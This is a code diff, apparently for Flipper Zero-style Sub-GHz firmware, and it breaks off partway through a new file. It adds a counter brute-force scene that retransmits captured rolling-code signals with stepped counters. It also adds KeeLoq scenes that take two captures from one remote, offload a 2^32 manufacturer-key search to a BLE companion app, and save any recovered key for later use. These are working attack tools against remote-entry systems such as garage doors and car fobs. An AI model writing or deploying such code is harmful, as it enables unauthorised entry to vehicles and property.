+8D77033A47064B6D304C29E61FD3497CECE0CB0BE1305A0A5C418479FA142CA7
+ACDA2BB920997BF6BAA1BFFD1300BCDCE0117C81DBFAA986A2DD9820287D853E

applications/main/subghz/scenes/subghz_scene_config.h

@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
 ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
 ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
 ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
+ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
+ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
+ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
 ADD_SCENE(subghz, counter_bf, CounterBf)

applications/main/subghz/scenes/subghz_scene_counter_bf.c

@@ -5,9 +5,10 @@
 #define TAG "SubGhzCounterBf"
 
 // How many ticks to wait between transmissions (1 tick ~100ms)
-#define COUNTER_BF_TX_INTERVAL_TICKS 3
+#define COUNTER_BF_TX_INTERVAL_TICKS 5
 
 typedef enum {
+    CounterBfStateWarning,
     CounterBfStateIdle,
     CounterBfStateRunning,
     CounterBfStateStopped,
@@ -19,54 +20,97 @@ typedef struct {
     uint32_t step;
     CounterBfState state;
     uint32_t packets_sent;
-    uint32_t tick_wait; // ticks remaining before next TX
+    uint32_t tick_wait;
 } CounterBfContext;
 
-#define CounterBfEventStart (0xC0)
-#define CounterBfEventStop  (0xC1)
+#define CounterBfEventStart     (0xC0)
+#define CounterBfEventStop      (0xC1)
+#define CounterBfEventWarningOk (0xC2)
+
+static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
+    SubGhz* subghz = context;
+    if(result == GuiButtonTypeCenter && type == InputTypeShort) {
+        view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
+    }
+}
 
 static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
     SubGhz* subghz = context;
-    // Single press toggles start/stop
     if(result == GuiButtonTypeCenter && type == InputTypeShort) {
         view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventStart);
     }
 }
 
+static void counter_bf_draw_warning(SubGhz* subghz) {
+    widget_reset(subghz->widget);
+    widget_add_string_multiline_element(
+        subghz->widget,
+        64,
+        20,
+        AlignCenter,
+        AlignCenter,
+        FontSecondary,
+        "WARNING:\nThis may desync\nyour fob!");
+    widget_add_button_element(
+        subghz->widget,
+        GuiButtonTypeCenter,
+        "OK",
+        counter_bf_warning_callback,
+        subghz);
+}
+
 static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
     widget_reset(subghz->widget);
     FuriString* str = furi_string_alloc();
-    furi_string_printf(str,
+    furi_string_printf(
+        str,
         "Counter BruteForce\n"
-        "Cnt: 0x%08lX\n"
-        "Sent: %lu pkts\n"
-        "Start: 0x%08lX",
-        ctx->current_cnt,
-        ctx->packets_sent,
-        ctx->start_cnt);
+        "Cnt: 0x%06lX\n"
+        "Start: 0x%06lX\n"
+        "Sent: %lu",
+        ctx->current_cnt & 0xFFFFFF,
+        ctx->start_cnt & 0xFFFFFF,
+        ctx->packets_sent);
     widget_add_string_multiline_element(
-        subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary,
-        furi_string_get_cstr(str));
+        subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
     furi_string_free(str);
     const char* btn_label = ctx->state == CounterBfStateRunning ? "Stop" : "Start";
     widget_add_button_element(
-        subghz->widget, GuiButtonTypeCenter, btn_label,
-        counter_bf_widget_callback, subghz);
+        subghz->widget,
+        GuiButtonTypeCenter,
+        btn_label,
+        counter_bf_widget_callback,
+        subghz);
+}
+
+static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
+    Storage* storage = furi_record_open(RECORD_STORAGE);
+    FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
+    if(flipper_format_buffered_file_open_existing(
+           file_fff, furi_string_get_cstr(subghz->file_path))) {
+        uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
+        if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
+            FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
+        }
+    } else {
+        FURI_LOG_E(TAG, "Failed to open .sub file for Cnt write");
+    }
+    flipper_format_free(file_fff);
+    furi_record_close(RECORD_STORAGE);
 }
 
 static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
-    // Stop any previous TX
     subghz_txrx_stop(subghz->txrx);
 
-    // Use official counter override mechanism
-    subghz_block_generic_global_counter_override_set(ctx->current_cnt);
-    // Increase repeat for stronger signal
-    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
-    flipper_format_rewind(fff);
-    uint32_t repeat = 20;
-    flipper_format_insert_or_update_uint32(fff, "Repeat", &repeat, 1);
+    uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
+    furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
+    subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
+
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    uint32_t repeat = 20;
+    flipper_format_rewind(fff);
+    flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
 
-    subghz_block_generic_global.endless_tx = false;
     subghz_tx_start(subghz, fff);
 
     ctx->packets_sent++;
@@ -78,26 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
 
     CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
     memset(ctx, 0, sizeof(CounterBfContext));
-    ctx->state = CounterBfStateIdle;
+    ctx->state = CounterBfStateWarning;
     ctx->step = 1;
+    furi_hal_subghz_set_rolling_counter_mult(0);
+    subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
 
-    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
-    uint32_t cnt = 0;
-    flipper_format_rewind(fff);
-    flipper_format_read_uint32(fff, "Cnt", &cnt, 1);
-    ctx->current_cnt = cnt;
-    ctx->start_cnt = cnt;
+    {
+        FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+        flipper_format_rewind(fff);
+        uint32_t cnt = 0;
+        if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
+            ctx->current_cnt = cnt & 0xFFFFFF;
+            ctx->start_cnt   = cnt & 0xFFFFFF;
+        } else {
+            FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
+            Storage* storage = furi_record_open(RECORD_STORAGE);
+            FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
+            if(flipper_format_buffered_file_open_existing(
+                   file_fff, furi_string_get_cstr(subghz->file_path))) {
+                if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
+                    ctx->current_cnt = cnt & 0xFFFFFF;
+                    ctx->start_cnt   = cnt & 0xFFFFFF;
+                }
+            }
+            flipper_format_free(file_fff);
+            furi_record_close(RECORD_STORAGE);
+        }
+    }
 
     scene_manager_set_scene_state(
         subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
 
-    // Disable auto-increment
-    furi_hal_subghz_set_rolling_counter_mult(0);
-
-    // Reload protocol to ensure preset and tx_power are properly configured
-    subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
-
-    counter_bf_draw(subghz, ctx);
+    counter_bf_draw_warning(subghz);
     view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
 }
 
@@ -108,18 +164,25 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
     if(!ctx) return false;
 
     if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == CounterBfEventWarningOk) {
+            ctx->state = CounterBfStateIdle;
+            counter_bf_draw(subghz, ctx);
+            return true;
+        }
+
         if(event.event == CounterBfEventStart) {
+            if(ctx->state == CounterBfStateWarning) return true;
+
             if(ctx->state != CounterBfStateRunning) {
-                // Start
                 ctx->state = CounterBfStateRunning;
                 ctx->tick_wait = 0;
                 subghz->state_notifications = SubGhzNotificationStateTx;
                 counter_bf_send(subghz, ctx);
             } else {
-                // Stop
                 ctx->state = CounterBfStateStopped;
                 subghz_txrx_stop(subghz->txrx);
                 subghz->state_notifications = SubGhzNotificationStateIDLE;
+                counter_bf_save(subghz, ctx);
             }
             counter_bf_draw(subghz, ctx);
             return true;
@@ -130,25 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
             if(ctx->tick_wait > 0) {
                 ctx->tick_wait--;
             } else {
-                // Time to send next packet
-                ctx->current_cnt += ctx->step;
+                ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
                 counter_bf_send(subghz, ctx);
+                counter_bf_save(subghz, ctx);
                 counter_bf_draw(subghz, ctx);
             }
         }
         return true;
     } else if(event.type == SceneManagerEventTypeBack) {
-        subghz_block_generic_global.endless_tx = false;
+        if(ctx->state == CounterBfStateWarning) {
+            furi_hal_subghz_set_rolling_counter_mult(1);
+            free(ctx);
+            scene_manager_previous_scene(subghz->scene_manager);
+            return true;
+        }
+
         subghz_txrx_stop(subghz->txrx);
         subghz->state_notifications = SubGhzNotificationStateIDLE;
-
-        // Save counter to file
-        FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
-        flipper_format_rewind(fff);
-        flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
-        subghz_save_protocol_to_file(
-            subghz, fff, furi_string_get_cstr(subghz->file_path));
-
+        counter_bf_save(subghz, ctx);
         furi_hal_subghz_set_rolling_counter_mult(1);
         free(ctx);
         scene_manager_previous_scene(subghz->scene_manager);
@@ -160,6 +222,5 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
 void subghz_scene_counter_bf_on_exit(void* context) {
     SubGhz* subghz = context;
     widget_reset(subghz->widget);
-    subghz_block_generic_global.endless_tx = false;
     subghz->state_notifications = SubGhzNotificationStateIDLE;
 }

applications/main/subghz/scenes/subghz_scene_keeloq_bf2.c

@@ -0,0 +1,253 @@
+#include "../subghz_i.h"
+#include <lib/subghz/protocols/keeloq.h>
+#include <dialogs/dialogs.h>
+
+enum {
+    KlBf2IndexLoadSig1,
+    KlBf2IndexLoadSig2,
+    KlBf2IndexType,
+    KlBf2IndexStartBf,
+};
+
+static const char* kl_bf2_type_labels[] = {
+    "Type: Auto (6>7>8)",
+    "Type: 6 (Serial 1)",
+    "Type: 7 (Serial 2)",
+    "Type: 8 (Serial 3)",
+};
+static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
+
+static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    flipper_format_rewind(fff);
+    uint8_t key_data[8] = {0};
+    if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
+    *out_fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
+               ((uint32_t)key_data[2] << 8) | key_data[3];
+    *out_hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
+               ((uint32_t)key_data[6] << 8) | key_data[7];
+    return true;
+}
+
+static bool kl_bf2_is_keeloq(SubGhz* subghz) {
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    flipper_format_rewind(fff);
+    FuriString* proto = furi_string_alloc();
+    bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
+              furi_string_equal_str(proto, "KeeLoq");
+    furi_string_free(proto);
+    return ok;
+}
+
+static void kl_bf2_submenu_callback(void* context, uint32_t index) {
+    SubGhz* subghz = context;
+    view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
+}
+
+static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
+    DialogsFileBrowserOptions browser_options;
+    dialog_file_browser_set_basic_options(
+        &browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
+    browser_options.base_path = SUBGHZ_APP_FOLDER;
+
+    FuriString* selected = furi_string_alloc();
+    furi_string_set(selected, SUBGHZ_APP_FOLDER);
+
+    bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
+
+    if(res) {
+        res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
+        if(res) {
+            furi_string_set(out_path, selected);
+        }
+    }
+
+    furi_string_free(selected);
+    return res;
+}
+
+static void kl_bf2_rebuild_menu(SubGhz* subghz) {
+    submenu_reset(subghz->submenu);
+
+    char label1[64];
+    char label2[64];
+
+    if(subghz->keeloq_bf2.sig1_loaded) {
+        FuriString* name = furi_string_alloc();
+        path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
+        snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
+        furi_string_free(name);
+    } else {
+        snprintf(label1, sizeof(label1), "Load Signal 1");
+    }
+
+    if(subghz->keeloq_bf2.sig2_loaded) {
+        FuriString* name = furi_string_alloc();
+        path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
+        snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
+        furi_string_free(name);
+    } else {
+        snprintf(label2, sizeof(label2), "Load Signal 2");
+    }
+
+    submenu_add_item(
+        subghz->submenu, label1, KlBf2IndexLoadSig1,
+        kl_bf2_submenu_callback, subghz);
+    submenu_add_item(
+        subghz->submenu, label2, KlBf2IndexLoadSig2,
+        kl_bf2_submenu_callback, subghz);
+
+    int type_idx = 0;
+    for(int i = 0; i < 4; i++) {
+        if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
+            type_idx = i;
+            break;
+        }
+    }
+    submenu_add_item(
+        subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
+        kl_bf2_submenu_callback, subghz);
+
+    if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
+        submenu_add_item(
+            subghz->submenu, "Start BF", KlBf2IndexStartBf,
+            kl_bf2_submenu_callback, subghz);
+    }
+
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
+}
+
+void subghz_scene_keeloq_bf2_on_enter(void* context) {
+    SubGhz* subghz = context;
+
+    subghz->keeloq_bf2.sig1_loaded = false;
+    subghz->keeloq_bf2.sig2_loaded = false;
+    subghz->keeloq_bf2.learn_type = 0;
+
+    kl_bf2_rebuild_menu(subghz);
+}
+
+bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
+    SubGhz* subghz = context;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KlBf2IndexLoadSig1) {
+            FuriString* path = furi_string_alloc();
+            if(kl_bf2_load_signal(subghz, path)) {
+                if(!kl_bf2_is_keeloq(subghz)) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Not a KeeLoq\nprotocol file");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                uint32_t fix, hop;
+                if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Cannot read Key\nfrom file");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                subghz->keeloq_bf2.fix = fix;
+                subghz->keeloq_bf2.hop1 = hop;
+                subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
+                subghz->keeloq_bf2.sig1_loaded = true;
+                furi_string_set(subghz->keeloq_bf2.sig1_path, path);
+
+                subghz->keeloq_bf2.sig2_loaded = false;
+            }
+            furi_string_free(path);
+            kl_bf2_rebuild_menu(subghz);
+            return true;
+
+        } else if(event.event == KlBf2IndexLoadSig2) {
+            if(!subghz->keeloq_bf2.sig1_loaded) {
+                dialog_message_show_storage_error(
+                    subghz->dialogs, "Load Signal 1 first");
+                kl_bf2_rebuild_menu(subghz);
+                return true;
+            }
+
+            FuriString* path = furi_string_alloc();
+            if(kl_bf2_load_signal(subghz, path)) {
+                if(!kl_bf2_is_keeloq(subghz)) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Not a KeeLoq\nprotocol file");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                uint32_t fix2, hop2;
+                if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Cannot read Key\nfrom file");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                uint32_t serial2 = fix2 & 0x0FFFFFFF;
+                if(serial2 != subghz->keeloq_bf2.serial) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Serial mismatch!\nMust be same remote");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                if(hop2 == subghz->keeloq_bf2.hop1) {
+                    dialog_message_show_storage_error(
+                        subghz->dialogs, "Same hop code!\nUse a different\ncapture");
+                    furi_string_free(path);
+                    kl_bf2_rebuild_menu(subghz);
+                    return true;
+                }
+
+                subghz->keeloq_bf2.hop2 = hop2;
+                subghz->keeloq_bf2.sig2_loaded = true;
+                furi_string_set(subghz->keeloq_bf2.sig2_path, path);
+            }
+            furi_string_free(path);
+            kl_bf2_rebuild_menu(subghz);
+            return true;
+
+        } else if(event.event == KlBf2IndexType) {
+            uint8_t cur = subghz->keeloq_bf2.learn_type;
+            if(cur == 0) cur = 6;
+            else if(cur == 6) cur = 7;
+            else if(cur == 7) cur = 8;
+            else cur = 0;
+            subghz->keeloq_bf2.learn_type = cur;
+            kl_bf2_rebuild_menu(subghz);
+            return true;
+
+        } else if(event.event == KlBf2IndexStartBf) {
+            if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
+                return true;
+            }
+
+            if(!subghz_key_load(
+                   subghz,
+                   furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
+                   true)) {
+                dialog_message_show_storage_error(
+                    subghz->dialogs, "Cannot reload\nSignal 1");
+                kl_bf2_rebuild_menu(subghz);
+                return true;
+            }
+
+            scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
+            return true;
+        }
+    }
+    return false;
+}
+
+void subghz_scene_keeloq_bf2_on_exit(void* context) {
+    SubGhz* subghz = context;
+    submenu_reset(subghz->submenu);
+}

applications/main/subghz/scenes/subghz_scene_keeloq_decrypt.c

@@ -0,0 +1,284 @@
+#include "../subghz_i.h"
+#include "../helpers/subghz_txrx_i.h"
+#include <lib/subghz/protocols/keeloq.h>
+#include <lib/subghz/protocols/keeloq_common.h>
+#include <lib/subghz/environment.h>
+#include <lib/subghz/subghz_keystore.h>
+#include <furi.h>
+#include <bt/bt_service/bt.h>
+
+#define KL_DECRYPT_EVENT_DONE      (0xD2)
+#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
+#define KL_TOTAL_KEYS              0x100000000ULL
+
+#define KL_MSG_BF_REQUEST  0x10
+#define KL_MSG_BF_PROGRESS 0x11
+#define KL_MSG_BF_RESULT   0x12
+#define KL_MSG_BF_CANCEL   0x13
+
+typedef struct {
+    SubGhz* subghz;
+    volatile bool cancel;
+    uint32_t start_tick;
+    bool success;
+    FuriString* result;
+
+    uint32_t fix;
+    uint32_t hop;
+    uint32_t serial;
+    uint8_t btn;
+    uint16_t disc;
+
+    uint32_t hop2;
+
+    uint32_t candidate_count;
+    uint64_t recovered_mfkey;
+    uint16_t recovered_type;
+    uint32_t recovered_cnt;
+
+    bool ble_offload;
+} KlDecryptCtx;
+
+static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
+    KlDecryptCtx* ctx = context;
+    if(size < 1 || ctx->cancel) return;
+
+    if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
+        uint32_t keys_tested, keys_per_sec;
+        memcpy(&keys_tested, data + 2, 4);
+        memcpy(&keys_per_sec, data + 6, 4);
+
+        uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
+        uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
+        uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
+        uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
+
+        subghz_view_keeloq_decrypt_update_stats(
+            ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
+
+    } else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
+        uint8_t found = data[1];
+
+        if(found == 1) {
+            uint64_t mfkey = 0;
+            uint32_t cnt = 0;
+            memcpy(&mfkey, data + 2, 8);
+            memcpy(&cnt, data + 18, 4);
+            uint16_t learn_type = (size >= 27) ? data[26] : 6;
+
+            ctx->candidate_count++;
+            ctx->recovered_mfkey = mfkey;
+            ctx->recovered_type = learn_type;
+            ctx->recovered_cnt = cnt;
+
+            subghz_view_keeloq_decrypt_update_candidates(
+                ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
+
+            view_dispatcher_send_custom_event(
+                ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
+
+        } else if(found == 2) {
+            ctx->success = (ctx->candidate_count > 0);
+            view_dispatcher_send_custom_event(
+                ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
+        }
+    }
+}
+
+static void kl_ble_cleanup(KlDecryptCtx* ctx) {
+    if(!ctx->ble_offload) return;
+    Bt* bt = furi_record_open(RECORD_BT);
+    bt_set_custom_data_callback(bt, NULL, NULL);
+    furi_record_close(RECORD_BT);
+    ctx->ble_offload = false;
+}
+
+static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
+    Bt* bt = furi_record_open(RECORD_BT);
+    if(!bt_is_connected(bt)) {
+        furi_record_close(RECORD_BT);
+        return false;
+    }
+
+    bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
+
+    uint8_t req[18];
+    req[0] = KL_MSG_BF_REQUEST;
+    req[1] = ctx->subghz->keeloq_bf2.learn_type;
+    memcpy(req + 2, &ctx->fix, 4);
+    memcpy(req + 6, &ctx->hop, 4);
+    memcpy(req + 10, &ctx->hop2, 4);
+    memcpy(req + 14, &ctx->serial, 4);
+    bt_custom_data_tx(bt, req, sizeof(req));
+
+    furi_record_close(RECORD_BT);
+    ctx->ble_offload = true;
+
+    subghz_view_keeloq_decrypt_set_status(
+        ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
+    return true;
+}
+
+static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
+    SubGhz* subghz = context;
+    view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
+}
+
+void subghz_scene_keeloq_decrypt_on_enter(void* context) {
+    SubGhz* subghz = context;
+
+    KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
+    memset(ctx, 0, sizeof(KlDecryptCtx));
+    ctx->subghz = subghz;
+    ctx->result = furi_string_alloc_set("No result");
+
+    FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+    flipper_format_rewind(fff);
+
+    uint8_t key_data[8] = {0};
+    if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
+        ctx->fix = ((uint32_t)key_data[0] << 24) | ((uint32_t)key_data[1] << 16) |
+                   ((uint32_t)key_data[2] << 8) | key_data[3];
+        ctx->hop = ((uint32_t)key_data[4] << 24) | ((uint32_t)key_data[5] << 16) |
+                   ((uint32_t)key_data[6] << 8) | key_data[7];
+    }
+
+    ctx->serial = ctx->fix & 0x0FFFFFFF;
+    ctx->btn = ctx->fix >> 28;
+    ctx->disc = ctx->serial & 0x3FF;
+    ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
+
+    scene_manager_set_scene_state(
+        subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
+
+    subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
+    subghz_view_keeloq_decrypt_set_callback(
+        subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
+
+    view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
+
+    ctx->start_tick = furi_get_tick();
+
+    if(!kl_ble_start_offload(ctx)) {
+        char msg[128];
+        snprintf(msg, sizeof(msg),
+            "No BLE connection!\n"
+            "Connect companion app\n"
+            "and try again.\n\n"
+            "Fix:0x%08lX\nHop:0x%08lX",
+            ctx->fix, ctx->hop);
+        subghz_view_keeloq_decrypt_set_result(
+            subghz->subghz_keeloq_decrypt, false, msg);
+    }
+}
+
+bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
+    SubGhz* subghz = context;
+    KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
+        subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
+    if(!ctx) return false;
+
+    if(event.type == SceneManagerEventTypeCustom) {
+        if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
+            if(!subghz->keeloq_keys_manager) {
+                subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
+            }
+            char key_name[24];
+            snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
+            subghz_keeloq_keys_add(
+                subghz->keeloq_keys_manager,
+                ctx->recovered_mfkey,
+                ctx->recovered_type,
+                key_name);
+            subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
+
+            SubGhzKeystore* env_ks = subghz_environment_get_keystore(
+                subghz->txrx->environment);
+            SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
+            SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
+            entry->name = furi_string_alloc_set(key_name);
+            entry->key = ctx->recovered_mfkey;
+            entry->type = ctx->recovered_type;
+            return true;
+
+        } else if(event.event == KL_DECRYPT_EVENT_DONE) {
+            kl_ble_cleanup(ctx);
+            subghz->keeloq_bf2.sig1_loaded = false;
+            subghz->keeloq_bf2.sig2_loaded = false;
+
+            if(ctx->success) {
+                furi_string_printf(
+                    ctx->result,
+                    "Found %lu candidate(s)\n"
+                    "Last: %08lX%08lX\n"
+                    "Type:%u Cnt:%04lX\n"
+                    "Saved to user keys",
+                    ctx->candidate_count,
+                    (uint32_t)(ctx->recovered_mfkey >> 32),
+                    (uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
+                    ctx->recovered_type,
+                    ctx->recovered_cnt);
+
+                FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
+                flipper_format_rewind(fff);
+
+                char mf_str[20];
+                snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
+                flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
+
+                uint32_t cnt_val = ctx->recovered_cnt;
+                flipper_format_rewind(fff);
+                flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
+
+                if(ctx->hop2 != 0) {
+                    flipper_format_rewind(fff);
+                    flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
+                }
+
+                if(subghz_path_is_file(subghz->file_path)) {
+                    subghz_save_protocol_to_file(
+                        subghz,
+                        subghz_txrx_get_fff_data(subghz->txrx),
+                        furi_string_get_cstr(subghz->file_path));
+                }
+
+                subghz_view_keeloq_decrypt_set_result(
+                    subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
+            } else if(!ctx->cancel) {
+                subghz_view_keeloq_decrypt_set_result(
+                    subghz->subghz_keeloq_decrypt, false,
+                    "Key NOT found.\nNo matching key in\n2^32 search space.");
+            } else {
+                subghz_view_keeloq_decrypt_set_result(
+                    subghz->subghz_keeloq_decrypt, false, "Cancelled.");
+            }
+            return true;
+
+        } else if(event.event == SubGhzCustomEventViewTransmitterBack) {
+            if(ctx->ble_offload) {
+                Bt* bt = furi_record_open(RECORD_BT);
+                uint8_t cancel_msg = KL_MSG_BF_CANCEL;
+                bt_custom_data_tx(bt, &cancel_msg, 1);
+                furi_record_close(RECORD_BT);
+            }
+            ctx->cancel = true;
+            scene_manager_previous_scene(subghz->scene_manager);
+            return true;
+        }
+    }
+    return false;
+}
+
+void subghz_scene_keeloq_decrypt_on_exit(void* context) {
+    SubGhz* subghz = context;
+    KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
+        subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
+
+    if(ctx) {
+        kl_ble_cleanup(ctx);
+        ctx->cancel = true;
+        furi_string_free(ctx->result);
+        free(ctx);
+        scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
+    }
+}

applications/main/subghz/scenes/subghz_scene_kl_bf_cleanup.c

@@ -0,0 +1,141 @@
+#include "../subghz_i.h"
+#include <lib/subghz/protocols/keeloq_common.h>
+
+typedef struct {
+    uint32_t serial;
+    uint32_t fix;
+    uint32_t hop;
+    uint32_t hop2;
+    uint8_t btn;
+    uint16_t disc;
+    size_t bf_indices[32];
+    size_t bf_count;
+    size_t valid_indices[32];
+    size_t valid_count;
+} KlCleanupCtx;
+
+static bool kl_cleanup_validate_hop(uint64_t key, uint32_t hop, uint8_t btn, uint16_t disc) {
+    uint32_t dec = subghz_protocol_keeloq_common_decrypt(hop, key);
+    if((dec >> 28) != btn) return false;
+    uint16_t dec_disc = (dec >> 16) & 0x3FF;
+    if(dec_disc == disc) return true;
+    if((dec_disc & 0xFF) == (disc & 0xFF)) return true;
+    return false;
+}
+
